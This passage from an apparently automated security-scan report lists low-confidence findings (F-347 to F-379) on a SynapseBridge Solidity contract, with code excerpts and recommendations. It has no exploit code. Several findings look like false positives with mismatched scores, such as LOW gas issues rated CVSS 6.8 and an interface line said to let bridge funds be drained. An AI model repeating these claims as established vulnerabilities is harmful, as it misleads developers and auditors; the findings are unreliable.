1714 |      * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
1715 |      * you perform all queries on the same block. See the following
1716 |      * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
1717 |      * for more information.
1718 |      */
>> 1719 |      function getRoleMember(bytes32 role, uint256 index) public view returns
(address) {
1720 |          return _roles[role].members.at(index);
1721 |      }
1722 |
1723 |      /**
1724 |      * @dev Returns the admin role that controls `role`. See {grantRole} and
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-347. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1729
Status	Open (28% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```

1724 |      * @dev Returns the admin role that controls `role`. See {grantRole} and
1725 |      * {revokeRole}.
1726 |      *
1727 |      * To change a role's admin, use {_setRoleAdmin}.
1728 |      */
>> 1729 |      function getRoleAdmin(bytes32 role) public view returns (bytes32) {
1730 |          return _roles[role].adminRole;
1731 |      }
1732 |
1733 |      /**
1734 |      * @dev Grants `role` to `account`.

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-348. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1743
Status	Open (28% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```
1738 |      *
1739 |      * Requirements:
1740 |      *
1741 |      * - the caller must have ``role``'s admin role.
1742 |      */
>> 1743 |      function grantRole(bytes32 role, address account) public virtual {
1744 |          require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl:
sender must be an admin to grant");
1745 |
1746 |          _grantRole(role, account);
1747 |      }
1748 |
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-349. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1758
Status	Open (28% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```

1753 |      *
1754 |      * Requirements:
1755 |      *
1756 |      * - the caller must have ``role``'s admin role.
1757 |      */
>> 1758 |      function revokeRole(bytes32 role, address account) public virtual {
1759 |          require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl:
sender must be an admin to revoke");
1760 |
1761 |          _revokeRole(role, account);
1762 |      }
1763 |

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-350. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1778
Status	Open (28% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```
1773 |      *
1774 |      * Requirements:
1775 |      *
1776 |      * - the caller must be `account`.
1777 |      */
>> 1778 |      function renounceRole(bytes32 role, address account) public virtual {
1779 |          require(account == _msgSender(), "AccessControl: can only renounce
roles for self");
1780 |
1781 |          _revokeRole(role, account);
1782 |      }
1783 |
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-351. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1843
Status	Open (28% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```

1838 |  /**
1839 |  * @dev Destroys `amount` tokens from the caller.
1840 |  *
1841 |  * See {ERC20-_burn}.
1842 |  */
>> 1843 |  function burn(uint256 amount) public virtual {
1844 |      _burn(msgSender(), amount);
1845 |  }
1846 |
1847 |  /**
1848 |  * @dev Destroys `amount` tokens from `account`, deducting from the
caller's

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-352. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:1858
Status	Open (28% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Public function that could be external

Vulnerable Code

```
1853 |      * Requirements:
1854 |      *
1855 |      * - the caller must have allowance for ``accounts``'s tokens of at least
1856 |      * `amount`.
1857 |      */
>> 1858 |      function burnFrom(address account, uint256 amount) public virtual {
1859 |          uint256 decreasedAllowance = allowance(account,
_msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
1860 |
1861 |          _approve(account, _msgSender(), decreasedAllowance);
1862 |          _burn(account, amount);
1863 |      }
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Change 'public' to 'external' if not called internally

References

- OWASP Smart Contract Top 10

F-353. gas_optimization

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8
Confidence	28%
Location	SynapseBridge.flat.sol:2000
Status	Open (28% conf.)
Detected By	gas_analyzer

Description

Gas optimization opportunity detected: Unnecessary zero initialization

Vulnerable Code

```

1995 |         WETH_ADDRESS = _wethAddress;
1996 |     }
1997 |
1998 |     function addKappas(bytes32[] calldata kappas) external {
1999 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
>> 2000 |         for (uint256 i = 0; i < kappas.length; ++i) {
2001 |             kappaMap[kappas[i]] = true;
2002 |         }
2003 |     }
2004 |
2005 |     event TokenDeposit(address indexed to, uint256 chainId, IERC20 token,
uint256 amount);

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Remove '= 0' (variables are zero-initialized by default)

References

- OWASP Smart Contract Top 10

F-354. Missing Transaction Deadline

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:None
Status	Open (28% conf.)
Detected By	defi

Description

Swap operation without deadline parameter. Transaction could be held and executed at unfavorable time.

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Include deadline parameter to prevent delayed execution attacks.

References

- <https://uniswap.org/docs/v2/smart-contracts/router02/>

F-355. Potential Rug Pull Pattern

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	37%

PROPERTY	VALUE
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1365
Status	Open (37% conf.)
Detected By	advanced_detector

Description

Mint function detected - check for access control. Found at line 1365.

Vulnerable Code

```

1360 |      *
1361 |      * Requirements:
1362 |      *
1363 |      * - `to` cannot be the zero address.
1364 |      */
>> 1365 |      function _mint(address account, uint256 amount) internal virtual {
1366 |          require(account != address(0), "ERC20: mint to the zero address");
1367 |
1368 |          _beforeTokenTransfer(address(0), account, amount);
1369 |
1370 |          _totalSupply = _totalSupply.add(amount);

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Review ownership controls. Consider timelocks, multi-sig, or renouncing ownership after launch.

References

- <https://rugdoc.io/education/>
- <https://www.certik.com/resources/blog/rug-pull-prevention>

F-356. Potential Rug Pull Pattern

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	37%

PROPERTY	VALUE
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1370
Status	Open (37% conf.)
Detected By	advanced_detector

Description

Direct totalSupply modification - bypasses mint controls. Found at line 1370.

Vulnerable Code

```
1365 |     function _mint(address account, uint256 amount) internal virtual {
1366 |         require(account != address(0), "ERC20: mint to the zero address");
1367 |
1368 |         _beforeTokenTransfer(address(0), account, amount);
1369 |
>> 1370 |         _totalSupply = _totalSupply.add(amount);
1371 |         _balances[account] = _balances[account].add(amount);
1372 |         emit Transfer(address(0), account, amount);
1373 |     }
1374 |
1375 |     /**
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Review ownership controls. Consider timelocks, multi-sig, or renouncing ownership after launch.

References

- <https://rugdoc.io/education/>
- <https://www.certik.com/resources/blog/rug-pull-prevention>

F-357. Potential Rug Pull Pattern

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	37%

PROPERTY	VALUE
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1392
Status	Open (37% conf.)
Detected By	advanced_detector

Description

Direct totalSupply modification - bypasses mint controls. Found at line 1392.

Vulnerable Code

```

1387 |         require(account != address(0), "ERC20: burn from the zero address");
1388 |
1389 |         _beforeTokenTransfer(account, address(0), amount);
1390 |
1391 |         _balances[account] = _balances[account].sub(amount, "ERC20: burn
amount exceeds balance");
>> 1392 |         _totalSupply = _totalSupply.sub(amount);
1393 |         emit Transfer(account, address(0), amount);
1394 |     }
1395 |
1396 |     /**
1397 |      * @dev Sets `amount` as the allowance of `spender` over the `owner` s
tokens.

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Review ownership controls. Consider timelocks, multi-sig, or renouncing ownership after launch.

References

- <https://rugdoc.io/education/>
- <https://www.certik.com/resources/blog/rug-pull-prevention>

F-358. Potential Rug Pull Pattern

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8

PROPERTY	VALUE
Confidence	37%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1960
Status	Open (37% conf.)
Detected By	advanced_detector

Description

Mint function detected - check for access control. Found at line 1960.

Vulnerable Code

```

1955 | }
1956 |
1957 | // bridge/SynapseBridge.sol
1958 |
1959 | interface IERC20Mintable is IERC20 {
>> 1960 |     function mint(address to, uint256 amount) external;
1961 | }
1962 |
1963 | contract SynapseBridge is Initializable, AccessControlUpgradeable,
ReentrancyGuardUpgradeable, PausableUpgradeable {
1964 |     using SafeERC20 for IERC20;
1965 |     using SafeERC20 for IERC20Mintable;

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Review ownership controls. Consider timelocks, multi-sig, or renouncing ownership after launch.

References

- <https://rugdoc.io/education/>
- <https://www.certik.com/resources/blog/rug-pull-prevention>

F-359. Token Security Issue

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8

PROPERTY	VALUE
Confidence	37%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1973
Status	Open (37% conf.)
Detected By	advanced_detector

Description

Trading controls - verify owner cannot disable trading. Found at line 1973.

Vulnerable Code

```

1968 | bytes32 public constant NODEGROUP_ROLE = keccak256("NODEGROUP_ROLE");
1969 | bytes32 public constant GOVERNANCE_ROLE = keccak256("GOVERNANCE_ROLE");
1970 |
1971 | mapping(address => uint256) private fees;
1972 |
>> 1973 | uint256 public startBlockNumber;
1974 | uint256 public constant bridgeVersion = 6;
1975 | uint256 public chainGasAmount;
1976 | address payable public WETH_ADDRESS;
1977 |
1978 | mapping(bytes32 => bool) private kappaMap;
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Review token mechanics for honeypot indicators. Ensure users can always sell tokens.

References

- <https://tokensniffer.com/>
- <https://honeypot.is/>

F-360. Token Security Issue

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	37%

PROPERTY	VALUE
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1983
Status	Open (37% conf.)
Detected By	advanced_detector

Description

Trading controls - verify owner cannot disable trading. Found at line 1983.

Vulnerable Code

```

1978 | mapping(bytes32 => bool) private kappaMap;
1979 |
1980 | receive() external payable {}
1981 |
1982 | function initialize() external initializer {
>> 1983 |     startBlockNumber = block.number;
1984 |     _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
1985 |     __AccessControl_init();
1986 | }
1987 |
1988 | function setChainGasAmount(uint256 amount) external {

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Review token mechanics for honeypot indicators. Ensure users can always sell tokens.

References

- <https://tokensniffer.com/>
- <https://honeypot.is/>

F-361. Proxy/Upgrade Vulnerability

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	37%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:168

PROPERTY	VALUE
Status	Open (37% conf.)
Detected By	advanced_detector

Description

Delegatecall detected - ensure target is trusted. Found at line 168.

Vulnerable Code

```

163 |     */
164 |     function functionDelegateCall(address target, bytes memory data, string
memory errorMessage) internal returns (bytes memory) {
165 |         require(isContract(target), "Address: delegate call to non-contract");
166 |
167 |         // solhint-disable-next-line avoid-low-level-calls
>> 168 |         (bool success, bytes memory returndata) = target.delegatecall(data);
169 |         return _verifyCallResult(success, returndata, errorMessage);
170 |     }
171 |
172 |     function _verifyCallResult(bool success, bytes memory returndata, string
memory errorMessage) private pure returns (bytes memory) {
173 |         if (success) {

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use OpenZeppelin's upgradeable contracts. Implement proper access control for upgrades. Use initializer modifier and `_disableInitializers`.

References

- <https://docs.openzeppelin.com/upgradeable-plugins/1.x/writing-upgradeable>
- <https://blog.openzeppelin.com/proxy-patterns>

F-362. Proxy/Upgrade Vulnerability

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	37%

PROPERTY	VALUE
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1982
Status	Open (37% conf.)
Detected By	advanced_detector

Description

Initialize function may be callable multiple times. Found at line 1982.

Vulnerable Code

```

1977 |
1978 |     mapping(bytes32 => bool) private kappaMap;
1979 |
1980 |     receive() external payable {}
1981 |
>> 1982 |     function initialize() external initializer {
1983 |         startBlockNumber = block.number;
1984 |         _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
1985 |         __AccessControl_init();
1986 |     }
1987 |

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use OpenZeppelin's upgradeable contracts. Implement proper access control for upgrades. Use initializer modifier and `_disableInitializers`.

References

- <https://docs.openzeppelin.com/upgradeable-plugins/1.x/writing-upgradeable>
- <https://blog.openzeppelin.com/proxy-patterns>

F-363. uninitialized_proxy

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	8.6
Confidence	28%

PROPERTY	VALUE
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1192
Status	Open (28% conf.)
Detected By	upgradability_checker

Description

Proxy implementation not initialized - attacker can call initialize() and take ownership

Vulnerable Code

```

1187 |      * To select a different value for {decimals}, use {_setupDecimals}.
1188 |      *
1189 |      * All three of these values are immutable: they can only be set once
during
1190 |      * construction.
1191 |      */
>> 1192 |      constructor (string memory name_, string memory symbol_) public {
1193 |          _name = name_;
1194 |          _symbol = symbol_;
1195 |          _decimals = 18;
1196 |      }
1197 |

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Call `_disableInitializers()` in implementation constructor or initialize in deployment

References

- SWC-109
- OWASP Smart Contract Top 10

F-364. missing_initializer

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%

PROPERTY	VALUE
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1192
Status	Open (28% conf.)
Detected By	upgradability_checker

Description

Upgradeable contract missing initializer function - constructor won't run behind proxy

Vulnerable Code

```

1187 |      * To select a different value for {decimals}, use {_setupDecimals}.
1188 |      *
1189 |      * All three of these values are immutable: they can only be set once
during
1190 |      * construction.
1191 |      */
>> 1192 |      constructor (string memory name_, string memory symbol_) public {
1193 |          _name = name_;
1194 |          _symbol = symbol_;
1195 |          _decimals = 18;
1196 |      }
1197 |

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Replace constructor with initialize() using initializer modifier

References

- SWC-109
- OWASP Smart Contract Top 10

F-365. Value transfer without validation

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%

PROPERTY	VALUE
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:697
Status	Open (28% conf.)
Detected By	crosschain

Description

Bridge contract funds can be drained

Vulnerable Code

```

692 |      *
693 |      * Returns a boolean value indicating whether the operation succeeded.
694 |      *
695 |      * Emits a {Transfer} event.
696 |      */
>> 697 |      function transfer(address recipient, uint256 amount) external returns
(bool);
698 |
699 |      /**
700 |      * @dev Returns the remaining number of tokens that `spender` will be
701 |      * allowed to spend on behalf of `owner` through {transferFrom}. This is
702 |      * zero by default.
```

Impact Analysis

Complete loss of bridged assets

Recommendation

Validate transfer amounts against internal accounting

References

- OWASP Smart Contract Top 10

F-366. Minting without apparent access control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1365
Status	Open (28% conf.)

PROPERTY	VALUE
Detected By	crosschain

Description

Bridge contract funds can be drained

Vulnerable Code

```

1360 |      *
1361 |      * Requirements:
1362 |      *
1363 |      * - `to` cannot be the zero address.
1364 |      */
>> 1365 |      function _mint(address account, uint256 amount) internal virtual {
1366 |          require(account != address(0), "ERC20: mint to the zero address");
1367 |
1368 |          _beforeTokenTransfer(address(0), account, amount);
1369 |
1370 |          _totalSupply = _totalSupply.add(amount);

```

Impact Analysis

Complete loss of bridged assets

Recommendation

Ensure minting is restricted to verified bridge operations

References

- OWASP Smart Contract Top 10

F-367. Emergency mechanism without timelock

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:?
Status	Open (28% conf.)
Detected By	crosschain

Description

Missing or vulnerable emergency withdrawal mechanism

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Fund lock or unauthorized emergency access

Recommendation

Add timelock to emergency functions to prevent abuse

References

- OWASP Smart Contract Top 10

F-368. unprotected_mint

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1365
Status	Open (28% conf.)
Detected By	bridge_monitor

Description

Mint function callable without proper bridge verification - unlimited token creation

Vulnerable Code

```

1360 |      *
1361 |      * Requirements:
1362 |      *
1363 |      * - `to` cannot be the zero address.
1364 |      */
>> 1365 |      function _mint(address account, uint256 amount) internal virtual {
1366 |          require(account != address(0), "ERC20: mint to the zero address");
1367 |
1368 |          _beforeTokenTransfer(address(0), account, amount);
1369 |
1370 |          _totalSupply = _totalSupply.add(amount);

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Restrict mint to verified bridge messages only with proper access control

References

- SWC-105
- OWASP Smart Contract Top 10

F-369. unprotected_mint

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1960
Status	Open (28% conf.)
Detected By	bridge_monitor

Description

Mint function callable without proper bridge verification - unlimited token creation

Vulnerable Code

```

1955 | }
1956 |
1957 | // bridge/SynapseBridge.sol
1958 |
1959 | interface IERC20Mintable is IERC20 {
>> 1960 |     function mint(address to, uint256 amount) external;
1961 | }
1962 |
1963 | contract SynapseBridge is Initializable, AccessControlUpgradeable,
ReentrancyGuardUpgradeable, PausableUpgradeable {
1964 |     using SafeERC20 for IERC20;
1965 |     using SafeERC20 for IERC20Mintable;

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Restrict mint to verified bridge messages only with proper access control

References

- SWC-105
- OWASP Smart Contract Top 10

F-370. unprotected_mint

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2174
Status	Open (28% conf.)
Detected By	bridge_monitor

Description

Mint function callable without proper bridge verification - unlimited token creation

Vulnerable Code

```

2169 |      * @param token ERC20 compatible token to deposit into the bridge
2170 |      * @param amount Amount in native token decimals to transfer cross-chain
post-fees
2171 |      * @param fee Amount in native token decimals to save to the contract as
fees
2172 |      * @param kappa kappa
2173 |      **/
>> 2174 |      function mint(
2175 |          address payable to,
2176 |          IERC20Mintable token,
2177 |          uint256 amount,
2178 |          uint256 fee,
2179 |          bytes32 kappa

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Restrict mint to verified bridge messages only with proper access control

References

- SWC-105
- OWASP Smart Contract Top 10

F-371. unprotected_mint

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2281
Status	Open (28% conf.)
Detected By	bridge_monitor

Description

Mint function callable without proper bridge verification - unlimited token creation

Vulnerable Code

```
2276 |      * @param tokenIndexTo Index of the desired final asset
2277 |      * @param minDy Minumum amount (in final asset decimals) that must be
swapped for, otherwise the user will receive the SynERC20.
2278 |      * @param deadline Epoch time of the deadline that the swap is allowed to
be executed.
2279 |      * @param kappa kappa
2280 |      **/
>> 2281 |      function mintAndSwap(
2282 |          address payable to,
2283 |          IERC20Mintable token,
2284 |          uint256 amount,
2285 |          uint256 fee,
2286 |          ISwap pool,
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Restrict mint to verified bridge messages only with proper access control

References

- SWC-105
- OWASP Smart Contract Top 10

F-372. deposit_withdrawal_imbalance

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:765
Status	Open (28% conf.)
Detected By	bridge_monitor

Description

Deposit and withdrawal logic may allow imbalanced operations leading to fund extraction

Vulnerable Code

```
760 |  
761 |     function allowance(address, address) external view returns (uint256);  
762 |  
763 |     receive() external payable;  
764 |  
>> 765 |     function deposit() external payable;  
766 |  
767 |     function withdraw(uint256 wad) external;  
768 |  
769 |     function totalSupply() external view returns (uint256);  
770 |
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Ensure atomic deposit-lock and withdrawal-burn with balance tracking

References

- OWASP Smart Contract Top 10

F-373. Access Control Issue

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1252 (transfer)
Status	Open (28% conf.)
Detected By	iaudit

Description

Public or external function without adequate access control. May allow unauthorized callers to execute privileged operations.

Vulnerable Code

```

1247 |      * Requirements:
1248 |      *
1249 |      * - `recipient` cannot be the zero address.
1250 |      * - the caller must have a balance of at least `amount`.
1251 |      */
>> 1252 |      function transfer(address recipient, uint256 amount) public virtual
override returns (bool) {
1253 |          _transfer(_msgSender(), recipient, amount);
1254 |          return true;
1255 |      }
1256 |
1257 |      /**

```

Impact Analysis

Potential access_control vulnerability detected via pattern analysis

Recommendation

Add appropriate access control modifiers (onlyOwner, role-based). Avoid using tx.origin for authorization; use msg.sender instead.

References

- SWC-115
- OWASP Smart Contract Top 10

F-374. Access Control Issue

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1271 (approve)
Status	Open (28% conf.)
Detected By	iaudit

Description

Public or external function without adequate access control. May allow unauthorized callers to execute privileged operations.

Vulnerable Code

```
1266 |      *
1267 |      * Requirements:
1268 |      *
1269 |      * - `spender` cannot be the zero address.
1270 |      */
>> 1271 |      function approve(address spender, uint256 amount) public virtual override
returns (bool) {
1272 |          _approve(_msgSender(), spender, amount);
1273 |          return true;
1274 |      }
1275 |
1276 |      /**
```

Impact Analysis

Potential access_control vulnerability detected via pattern analysis

Recommendation

Add appropriate access control modifiers (onlyOwner, role-based). Avoid using tx.origin for authorization; use msg.sender instead.

References

- SWC-115
- OWASP Smart Contract Top 10

F-375. Access Control Issue

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1289 (transferFrom)
Status	Open (28% conf.)
Detected By	iaudit

Description

Public or external function without adequate access control. May allow unauthorized callers to execute privileged operations.

Vulnerable Code

```

1284 |      * - `sender` and `recipient` cannot be the zero address.
1285 |      * - `sender` must have a balance of at least `amount`.
1286 |      * - the caller must have allowance for ``sender``'s tokens of at least
1287 |      * `amount`.
1288 |      */
>> 1289 |      function transferFrom(address sender, address recipient, uint256 amount)
public virtual override returns (bool) {
1290 |          _transfer(sender, recipient, amount);
1291 |          _approve(sender, _msgSender(), _allowances[sender]
[_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
1292 |          return true;
1293 |      }
1294 |

```

Impact Analysis

Potential access_control vulnerability detected via pattern analysis

Recommendation

Add appropriate access control modifiers (onlyOwner, role-based). Avoid using tx.origin for authorization; use msg.sender instead.

References

- SWC-115
- OWASP Smart Contract Top 10

F-376. Delegatecall to Untrusted Callee

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:168 (functionDelegateCall)
Status	Open (28% conf.)
Detected By	iaudit

Description

delegatecall executes code in the context of the calling contract, preserving storage layout. If the target is untrusted or upgradeable, storage corruption may occur.

Vulnerable Code

```

163 |      */
164 |      function functionDelegateCall(address target, bytes memory data, string
memory errorMessage) internal returns (bytes memory) {
165 |          require(isContract(target), "Address: delegate call to non-contract");
166 |
167 |          // solhint-disable-next-line avoid-low-level-calls
>> 168 |          (bool success, bytes memory returndata) = target.delegatecall(data);
169 |          return _verifyCallResult(success, returndata, errorMessage);
170 |      }
171 |
172 |      function _verifyCallResult(bool success, bytes memory returndata, string
memory errorMessage) private pure returns(bytes memory) {
173 |          if (success) {

```

Impact Analysis

Potential delegatecall vulnerability detected via pattern analysis

Recommendation

Only delegatecall to trusted, audited contracts. Ensure storage layouts are compatible. Use well-tested proxy patterns (UUPS, Transparent Proxy).

References

- SWC-112
- OWASP Smart Contract Top 10

F-377. Denial of Service via Gas Limit

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2000 (addKappas)
Status	Open (28% conf.)
Detected By	iaudit

Description

Unbounded loop iterating over a dynamic array or mapping. If the array grows large enough, the transaction may exceed the block gas limit and always revert.

Vulnerable Code

```

1995 |         WETH_ADDRESS = _wethAddress;
1996 |     }
1997 |
1998 |     function addKappas(bytes32[] calldata kappas) external {
1999 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
>> 2000 |         for (uint256 i = 0; i < kappas.length; ++i) {
2001 |             kappaMap[kappas[i]] = true;
2002 |         }
2003 |     }
2004 |
2005 |     event TokenDeposit(address indexed to, uint256 chainId, IERC20 token,
uint256 amount);

```

Impact Analysis

Potential dos_gas vulnerability detected via pattern analysis

Recommendation

Implement pagination or pull-over-push patterns. Avoid iterating over unbounded data structures in a single transaction.

References

- SWC-128
- OWASP Smart Contract Top 10

F-378. Front-Running / Transaction Ordering Dependence

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.2
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:722 (approve)
Status	Open (28% conf.)
Detected By	iaudit

Description

approve() followed by transferFrom() is susceptible to the known ERC-20 front-running attack on allowance changes.

Vulnerable Code

```
717 |      * desired value afterwards:
718 |      * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
719 |      *
720 |      * Emits an {Approval} event.
721 |      */
>> 722 |      function approve(address spender, uint256 amount) external returns (bool);
723 |
724 |      /**
725 |      * @dev Moves `amount` tokens from `sender` to `recipient` using the
726 |      * allowance mechanism. `amount` is then deducted from the caller's
727 |      * allowance.
```

Impact Analysis

Potential front_running vulnerability detected via pattern analysis

Recommendation

Use increaseAllowance/decreaseAllowance instead of approve. Alternatively use permit (EIP-2612) for gasless approvals.

References

- SWC-114
- OWASP Smart Contract Top 10

F-379. Front-Running / Transaction Ordering Dependence

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.2
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:771 (approve)
Status	Open (28% conf.)
Detected By	iaudit

Description

approve() followed by transferFrom() is susceptible to the known ERC-20 front-running attack on allowance changes.

Vulnerable Code

```

766 |
767 |     function withdraw(uint256 wad) external;
768 |
769 |     function totalSupply() external view returns (uint256);
770 |
>> 771 |     function approve(address guy, uint256 wad) external returns (bool);
772 |
773 |     function transfer(address dst, uint256 wad) external returns (bool);
774 |
775 |     function transferFrom(
776 |         address src,
```

Impact Analysis

Potential front_running vulnerability detected via pattern analysis

Recommendation

